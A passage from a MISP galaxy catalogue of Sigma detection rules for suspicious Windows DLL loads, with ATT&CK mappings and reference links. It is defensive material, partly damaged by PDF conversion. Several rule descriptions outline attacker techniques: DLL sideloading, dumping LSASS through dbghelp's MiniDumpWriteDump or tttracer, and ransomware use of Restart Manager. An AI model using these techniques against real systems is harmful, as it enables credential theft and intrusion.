- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

<table>
<thead>
<tr>
<th>Table 8911. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://hijacklibs.net/">https://hijacklibs.net/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_assembly_dll_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_dotnet_assembly_dll_load.yml</a></td>
</tr>
</tbody>
</table>

Microsoft Excel Add-In Loaded From Uncommon Location

Detects Microsoft Excel loading an Add-In (.xll) file from an uncommon location

The tag is: misp-galaxy:sigma-rules="Microsoft Excel Add-In Loaded From Uncommon Location"

View relationships graph

Microsoft Excel Add-In Loaded From Uncommon Location has relationships with:


<table>
<thead>
<tr>
<th>Table 8912. Table References</th>
</tr>
</thead>
<tbody>
<tr>
<td>Links</td>
</tr>
<tr>
<td><a href="https://www.mandiant.com/resources/blog/lnk-between-browsers">https://www.mandiant.com/resources/blog/lnk-between-browsers</a></td>
</tr>
<tr>
<td><a href="https://wazuh.com/blog/detecting-xll-files-used-for-dropping-fin7-jssloader-with-wazuh/">https://wazuh.com/blog/detecting-xll-files-used-for-dropping-fin7-jssloader-with-wazuh/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_excel_xll_susp_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_excel_xll_susp_load.yml</a></td>
</tr>
</tbody>
</table>
Load Of RstrtMgr.DLL By A Suspicious Process

Detects the load of RstrtMgr DLL (Restart Manager) by a suspicious process. This library has been used during ransomware campaigns to kill processes that would prevent file encryption by locking them (e.g. Conti ransomware, Cactus ransomware). It has also recently been seen used by the BiBi wiper for Windows. It could also be used for anti-analysis purposes by shut downing specific processes.

The tag is: misp-galaxy:sigma-rules="Load Of RstrtMgr.DLL By A Suspicious Process"

View relationships graph

Load Of RstrtMgr.DLL By A Suspicious Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Data Encrypted for Impact - T1486" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 8913. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.crowdstrike.com/blog/windows-restart-manager-part-1/">https://www.crowdstrike.com/blog/windows-restart-manager-part-1/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmg_r_suspicious_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_rstrtmg_r_suspicious_load.yml</a></td>
</tr>
</tbody>
</table>

Potential DLL Sideloading Via VMware Xfer

Detects loading of a DLL by the VMware Xfer utility from the non-default directory which may be an attempt to sideload arbitrary DLL.

The tag is: misp-galaxy:sigma-rules="Potential DLL Sideloading Via VMware Xfer"

View relationships graph

Potential DLL Sideloading Via VMware Xfer has relationships with:


Table 8914. Table References

| Links |
WMI Module Loaded By Non Uncommon Process

Detects a WMI modules being loaded by an uncommon process

The tag is: misp-galaxy:sigma-rules="WMI Module Loaded By Non Uncommon Process"

View relationships graph

WMI Module Loaded By Non Uncommon Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation - T1047"
  with estimative-language:likelihood-probability="almost-certain"

Potential Mfdetours.DLL Sideloading

Detects potential DLL sideloading of "mfdetours.dll". While using "mftrace.exe" it can be abused to attach to an arbitrary process and force load any DLL named "mfdetours.dll" from the current directory of execution.

The tag is: misp-galaxy:sigma-rules="Potential Mfdetours.DLL Sideloading"

View relationships graph

Potential Mfdetours.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"
Python Image Load By Non-Python Process

Detects the image load of "Python Core" by a non-Python process. This might be indicative of a Python script bundled with Py2Exe.

The tag is: misp-galaxy:sigma-rules="Python Image Load By Non-Python Process"

View relationships graph

Python Image Load By Non-Python Process has relationships with:


Table 8917. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/">https://unit42.paloaltonetworks.com/unit-42-technical-analysis-seaduke/</a></td>
</tr>
<tr>
<td><a href="https://www.py2exe.org/">https://www.py2exe.org/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_python_image_load.yml</a></td>
</tr>
</tbody>
</table>

Potential DCOM InternetExplorer.Application DLL Hijack - Image Load

Detects potential DLL hijack of "iertutil.dll" found in the DCOM InternetExplorer.Application Class

The tag is: misp-galaxy:sigma-rules="Potential DCOM InternetExplorer.Application DLL Hijack - Image Load"

View relationships graph

Potential DCOM InternetExplorer.Application DLL Hijack - Image Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 8918. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>
Suspicious Unsigned Thor Scanner Execution

Detected loading and execution of an unsigned thor scanner binary.

The tag is: *misp-galaxy:sigma-rules=* "Suspicious Unsigned Thor Scanner Execution"

View relationships graph

Suspicious Unsigned Thor Scanner Execution has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*
  "DLL Side-Loading - T1574.002" with estimative-
  language:likelihood-probability="almost-certain"

Table 8919. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research</td>
</tr>
<tr>
<td>[Internal Research]</td>
</tr>
</tbody>
</table>

Unsigned Image Loaded Into LSASS Process

Loading unsigned image (DLL, EXE) into LSASS process

The tag is: *misp-galaxy:sigma-rules=* "Unsigned Image Loaded Into LSASS Process"

View relationships graph

Unsigned Image Loaded Into LSASS Process has relationships with:

- related-to: *misp-galaxy:mitre-attack-pattern=*
  "LSASS Memory - T1003.001" with estimative-
  language:likelihood-probability="almost-certain"

Table 8920. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment">https://www.slideshare.net/heirhabarov/hunting-for-credentials-dumping-in-windows-environment</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_lsass_unsigned_image_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_lsass_unsigned_image_load.yml</a></td>
</tr>
</tbody>
</table>

Potential Waveedit.DLL Sideloadening

Detected potential DLL sideloading of "waveedit.dll", which is part of the Nero WaveEditor audio editing software.
The tag is: `misp-galaxy:sigma-rules="Potential Waveedit.DLL Sideloading"`

View relationships graph

Potential Waveedit.DLL Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8921. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
</table>

**DotNet CLR DLL Loaded By Scripting Applications**

Detects .NET CLR DLLs being loaded by scripting applications such as wscript or cscript. This could be an indication of potential suspicious execution.

The tag is: `misp-galaxy:sigma-rules="DotNet CLR DLL Loaded By Scripting Applications"`

View relationships graph

DotNet CLR DLL Loaded By Scripting Applications has relationships with:


Table 8922. Table References

<table>
<thead>
<tr>
<th>Links</th>
<th></th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/tyranid/DotNetToJScript">https://github.com/tyranid/DotNetToJScript</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b027f394f5187f008">https://web.archive.org/web/20221026202428/https://gist.github.com/code-scrap/d7f152ffcdb3e0b027f394f5187f008</a></td>
<td></td>
</tr>
<tr>
<td><a href="https://thewover.github.io/Introducing-Donut/">https://thewover.github.io/Introducing-Donut/</a></td>
<td></td>
</tr>
</tbody>
</table>

**VMMAP Unsigned Dbghelp.DLL Potential Sideloading**

Detects potential DLL sideloading of an unsigned dbghelp.dll by the Sysinternals VMMAP.
The tag is: `misp-galaxy:sigma-rules="VMMap Unsigned Dbghelp.DLL Potential Sideloading"`

View relationships graph

VMMap Unsigned Dbghelp.DLL Potential Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 8923. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766">https://techcommunity.microsoft.com/t5/sysinternals-blog/zoomit-v7-1-procdump-2-0-for-linux-process-explorer-v17-05/ba-p/3884766</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmmap_dbghelp_unsigned.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_vmmmap_dbghelp_unsigned.yml</a></td>
</tr>
</tbody>
</table>

**Potential CCleanerReactivator.DLL Sideloading**

Detects potential DLL sideloading of "CCleanerReactivator.dll"

The tag is: `misp-galaxy:sigma-rules="Potential CCleanerReactivator.DLL Sideloading"`

View relationships graph

Potential CCleanerReactivator.DLL Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

*Table 8924. Table References*

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://lab52.io/blog/2344-2/">https://lab52.io/blog/2344-2/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_reactivator.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_ccleaner_reactivator.yml</a></td>
</tr>
</tbody>
</table>

**Load Of Dbghelp/Dbgcore DLL From Suspicious Process**

Detects the load of dbghelp/dbgcore DLL (used to make memory dumps) by suspicious processes. Tools like ProcessHacker and some attacker tradecraft use MiniDumpWriteDump API found in dbghelp.dll or dbgcore.dll. As an example, SilentTrinity C2 Framework has a module that leverages
this API to dump the contents of Lsass.exe and transfer it over the network back to the attacker’s machine.

The tag is: `misp-galaxy:sigma-rules="Load Of Dbghelp/Dbgcore DLL From Suspicious Process"`

View relationships graph

Load Of Dbghelp/Dbgcore DLL From Suspicious Process has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8925. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html">https://www.pinvoke.net/default.aspx/dbghelp/MiniDumpWriteDump.html</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_susp_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_dbghelp_dbgcore_susp_load.yml</a></td>
</tr>
</tbody>
</table>

### Potential WWlib.DLL Sidelocking

Detects potential DLL sideloading of "wwlib.dll"

The tag is: `misp-galaxy:sigma-rules="Potential WWlib.DLL Sidelocking"`

View relationships graph

Potential WWlib.DLL Sidelocking has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8926. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://securelist.com/apt-luminousmoth/103332/">https://securelist.com/apt-luminousmoth/103332/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/WhichbufferArda/status/1658829954182774784">https://twitter.com/WhichbufferArda/status/1658829954182774784</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wwlib.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_wwlib.yml</a></td>
</tr>
</tbody>
</table>
PCRE.NET Package Image Load

Detects processes loading modules related to PCRE.NET package

The tag is: `misp-galaxy:sigma-rules="PCRE.NET Package Image Load"`

View relationships graph

PCRE.NET Package Image Load has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059"` with estimative-language:likelihood-probability="almost-certain"

Table 8927. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/tifkin_/status/1321916444557365248">https://twitter.com/tifkin_/status/1321916444557365248</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/rbmaslen/status/1321859647091970051">https://twitter.com/rbmaslen/status/1321859647091970051</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_pcre_dontet_dll_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_pcre_dontet_dll_load.yml</a></td>
</tr>
</tbody>
</table>

Time Travel Debugging Utility Usage - Image

Detects usage of Time Travel Debugging Utility. Adversaries can execute malicious processes and dump processes, such as lsass.exe, via tttracer.exe.

The tag is: `misp-galaxy:sigma-rules="Time Travel Debugging Utility Usage - Image"`

View relationships graph

Time Travel Debugging Utility Usage - Image has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218"` with estimative-language:likelihood-probability="almost-certain"

- related-to: `misp-galaxy:mitre-attack-pattern="LSASS Memory - T1003.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8928. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://twitter.com/oulusoyum/status/1191329746069655553">https://twitter.com/oulusoyum/status/1191329746069655553</a></td>
</tr>
<tr>
<td><a href="https://lolbas-project.github.io/lolbas/Binaries/Tttracer/">https://lolbas-project.github.io/lolbas/Binaries/Tttracer/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/mattifestation/status/1196390321783025666">https://twitter.com/mattifestation/status/1196390321783025666</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_tttracer_module_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_tttracer_module_load.yml</a></td>
</tr>
</tbody>
</table>

5814
Potential DLL Sideloading Via ClassicExplorer32.dll

Detects potential DLL sideloading using ClassicExplorer32.dll from the Classic Shell software

The tag is: `misp-galaxy:sigma-rules="Potential DLL Sideloading Via ClassicExplorer32.dll"`

View relationships graph

Potential DLL Sideloading Via ClassicExplorer32.dll has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"


Table 8929. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/">https://app.any.run/tasks/6d8cabb0-dcda-44b6-8050-28d6ce281687/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_classicexplorer32.yml</a></td>
</tr>
</tbody>
</table>

Potential DLL Sideloading Of DBGHELP.DLL

Detects DLL sideloading of "dbghelp.dll"

The tag is: `misp-galaxy:sigma-rules="Potential DLL Sideloading Of DBGHELP.DLL"`

View relationships graph

Potential DLL Sideloading Of DBGHELP.DLL has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"


Table 8930. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://hijacklibs.net/">https://hijacklibs.net/</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_dbghelp_dll.yml</a></td>
</tr>
</tbody>
</table>
Potential RoboForm.DLL Sideloading

Detects potential DLL sideloading of "roboform.dll", a DLL used by RoboForm Password Manager

The tag is: misp-galaxy:sigma-rules="Potential RoboForm.DLL Sideloading"

View relationships graph

Potential RoboForm.DLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8931. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.roboform.com/">https://www.roboform.com/</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/StopMalvertisin/status/1648604148848549888">https://twitter.com/StopMalvertisin/status/1648604148848549888</a></td>
</tr>
<tr>
<td><a href="https://twitter.com/t3ft3lb/status/1656194831830401024">https://twitter.com/t3ft3lb/status/1656194831830401024</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_robform.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_robform.yml</a></td>
</tr>
</tbody>
</table>

HackTool - SILENTTRINITY Stager DLL Load

Detects SILENTTRINITY stager dll loading activity

The tag is: misp-galaxy:sigma-rules="HackTool - SILENTTRINITY Stager DLL Load"

View relationships graph

HackTool - SILENTTRINITY Stager DLL Load has relationships with:


Table 8932. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/byt3bl33d3r/SILENTTRINITY">https://github.com/byt3bl33d3r/SILENTTRINITY</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_silenttrinity_stager.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_hktl_silenttrinity_stager.yml</a></td>
</tr>
</tbody>
</table>

Potential Mpclient.DLL Sideloading

Detects potential sideloading of "mpclient.dll" by Windows Defender processes ("MpCmdRun" and
"NisSrv") from their non-default directory.

The tag is: `misp-galaxy:sigma-rules="Potential Mpclient.DLL Sideload"`

View relationships graph

Potential Mpclient.DLL Sideload has relationships with:


### Table 8933. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

### DLL Loaded From Suspicious Location Via Cmspt.EXE

Detects cmstp loading "dll" or "ocx" files from suspicious locations

The tag is: `misp-galaxy:sigma-rules="DLL Loaded From Suspicious Location Via Cmspt.EXE"`

View relationships graph

DLL Loaded From Suspicious Location Via Cmspt.EXE has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="CMSTP - T1218.003"` with estimative-language:likelihood-probability="almost-certain"

### Table 8934. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_cmstp_load_dll_from_susp_location.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_cmstp_load_dll_from_susp_location.yml</a></td>
</tr>
</tbody>
</table>

### Potential Libvlc.DLL Sideload

Detects potential DLL sideloading of "libvlc.dll", a DLL that is legitimately used by "VLC.exe"

The tag is: `misp-galaxy:sigma-rules="Potential Libvlc.DLL Sideload"`

View relationships graph
Potential LibvlcDLL Sideloading has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8935. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html">https://hijacklibs.net/entries/3rd_party/vlc/libvlc.html</a></td>
</tr>
</tbody>
</table>

**Active Directory Parsing DLL Loaded Via Office Application**

Detects DSParse DLL being loaded by an Office Product

The tag is: `misp-galaxy: sigma-rules="Active Directory Parsing DLL Loaded Via Office Application"`

View relationships graph

Active Directory Parsing DLL Loaded Via Office Application has relationships with:


Table 8936. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

**PowerShell Core DLL Loaded Via Office Application**

Detects PowerShell core DLL being loaded by an Office Product

The tag is: `misp-galaxy: sigma-rules="PowerShell Core DLL Loaded Via Office Application"`

Table 8937. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>Internal Research[Internal Research]</td>
</tr>
</tbody>
</table>
Potential SmadHook.DLL Sideload

Detects potential DLL sideloading of "SmadHook.dll", a DLL used by SmadAV antivirus

The tag is: misp-galaxy:sigma-rules="Potential SmadHook.DLL Sideload"

View relationships graph

Potential SmadHook.DLL Sideload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"

Table 8938. Table References

Links
- https://www.qurium.org/alerts/targeted-malware-against-crph/

DLL Load By System Process From Suspicious Locations

Detects when a system process (i.e. located in system32, syswow64, etc.) loads a DLL from a suspicious location or a location with permissive permissions such as "C:\Users\Public"

The tag is: misp-galaxy:sigma-rules="DLL Load By System Process From Suspicious Locations"

View relationships graph

DLL Load By System Process From Suspicious Locations has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Indicator Removal - T1070" with estimative-language:likelihood-probability="almost-certain"

Table 8939. Table References

Links
- https://github.com/hackerhouse-opensource/iscsicpl_bypassUAC (Idea)
Possible Process Hollowing Image Loading

Detects Loading of samlib.dll, WinSCard.dll from untypical process e.g. through process hollowing by Mimikatz

The tag is: `misp-galaxy:sigma-rules="Possible Process Hollowing Image Loading"`

View relationships graph

Possible Process Hollowing Image Loading has relationships with:


Table 8940. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_susp_uncommon_image_load.yml</a></td>
</tr>
</tbody>
</table>

Potential Edputil.DLL Sideloading

Detects potential DLL sideloading of "edputil.dll"

The tag is: `misp-galaxy:sigma-rules="Potential Edputil.DLL Sideloading"`

View relationships graph

Potential Edputil.DLL Sideloading has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8941. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_edputil.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_edputil.yml</a></td>
</tr>
</tbody>
</table>
GAC DLL Loaded Via Office Applications

Detects any GAC DLL being loaded by an Office Product

The tag is: `misp-galaxy:sigma-rules="GAC DLL Loaded Via Office Applications"`

View relationships graph

GAC DLL Loaded Via Office Applications has relationships with:


Table 8942. Table References

Table

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
</table>

DLL Sideloading Of ShellChromeAPI.DLL

Detects processes loading the non-existent DLL "ShellChromeAPI". One known example is the "DeviceEnroller" binary in combination with the "PhoneDeepLink" flag tries to load this DLL. Adversaries can drop their own renamed DLL and execute it via DeviceEnroller.exe using this parameter

The tag is: `misp-galaxy:sigma-rules="DLL Sideloading Of ShellChromeAPI.DLL"`

View relationships graph

DLL Sideloading Of ShellChromeAPI.DLL has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"


Table 8943. Table References

Table

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://mobile.twitter.com/0gtweet/status/1564131230941122561">https://mobile.twitter.com/0gtweet/status/1564131230941122561</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shell_chrome_api.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_shell_chrome_api.yml</a></td>
</tr>
</tbody>
</table>
Potential Iviewers.DLL Sideloadig

Detects potential DLL sideloading of "iviewers.dll" (OLE/COM Object Interface Viewer)

The tag is: `misp-galaxy:sigma-rules="Potential Iviewers.DLL Sideloadig"`

View relationships graph

Potential Iviewers.DLL Sideloadig has relationships with:

- related-to: `misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001"` with estimative-language:likelihood-probability="almost-certain"

Table 8944. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://www.secureworks.com/research/shadowpad-malware-analysis">https://www.secureworks.com/research/shadowpad-malware-analysis</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_i">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_side_load_i</a> viewers.yml</td>
</tr>
</tbody>
</table>

Suspicious Volume Shadow Copy Vsstrace.dll Load

Detects the image load of VSS DLL by uncommon executables

The tag is: `misp-galaxy:sigma-rules="Suspicious Volume Shadow Copy Vsstrace.dll Load"`

View relationships graph

Suspicious Volume Shadow Copy Vsstrace.dll Load has relationships with:


Table 8945. Table References

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ORCx41/DeleteShadowCopies">https://github.com/ORCx41/DeleteShadowCopies</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vsstrace_susp_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_dll_vsstrace_susp_load.yml</a></td>
</tr>
</tbody>
</table>

Active Directory Kerberos DLL Loaded Via Office Application

Detects Kerberos DLL being loaded by an Office Product

The tag is: `misp-galaxy:sigma-rules="Active Directory Kerberos DLL Loaded Via Office Application"`
Active Directory Kerberos DLL Loaded Via Office Application has relationships with:


### Wmiprvse Wbemcomn DLL Hijack

Detects a threat actor creating a file named `wbemcomn.dll` in the `C:\Windows\System32\wbem\` directory over the network and loading it for a WMI DLL Hijack scenario.

The tag is: `misp-galaxy:sigma-rules="Wmiprvse Wbemcomn DLL Hijack"`

### Microsoft VBA For Outlook Addin Loaded Via Outlook

Detects `outlvba` (Microsoft VBA for Outlook Addin) DLL being loaded by the outlook process

The tag is: `misp-galaxy:sigma-rules="Microsoft VBA For Outlook Addin Loaded Via Outlook"`

---

**Table 8948. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=58">https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=58</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_outlook_outlvba_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_office_outlook_outlvba_load.yml</a></td>
</tr>
</tbody>
</table>

---

**Windows Spooler Service Suspicious Binary Load**

Detect DLL Load from Spooler Service backup folder

The tag is: *misp-galaxy:sigma-rules*="Windows Spooler Service Suspicious Binary Load"

View relationships graph

Windows Spooler Service Suspicious Binary Load has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hijack Execution Flow - T1574" with estimative-language:likelihood-probability="almost-certain"

---

**Table 8949. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td><a href="https://github.com/ly4k/SpoolFool">https://github.com/ly4k/SpoolFool</a></td>
</tr>
<tr>
<td><a href="https://github.com/hhlxf/PrintNightmare">https://github.com/hhlxf/PrintNightmare</a></td>
</tr>
<tr>
<td><a href="https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml">https://github.com/SigmaHQ/sigma/tree/master/rules/windows/image_load/image_load_spoolsv_dll_load.yml</a></td>
</tr>
</tbody>
</table>

---

**Microsoft Office DLL Sideload**

Detects DLL sideloading of DLLs that are part of Microsoft Office from non standard location

The tag is: *misp-galaxy:sigma-rules*="Microsoft Office DLL Sideload"

View relationships graph

Microsoft Office DLL Sideload has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="DLL Search Order Hijacking - T1574.001" with estimative-language:likelihood-probability="almost-certain"


---

**Table 8950. Table References**

<table>
<thead>
<tr>
<th>Links</th>
</tr>
</thead>
<tbody>
<tr>
<td>5824</td>
</tr>
</tbody>
</table>
Potential DLL Sideloadng Of Libcurl.DLL Via GUP.EXE

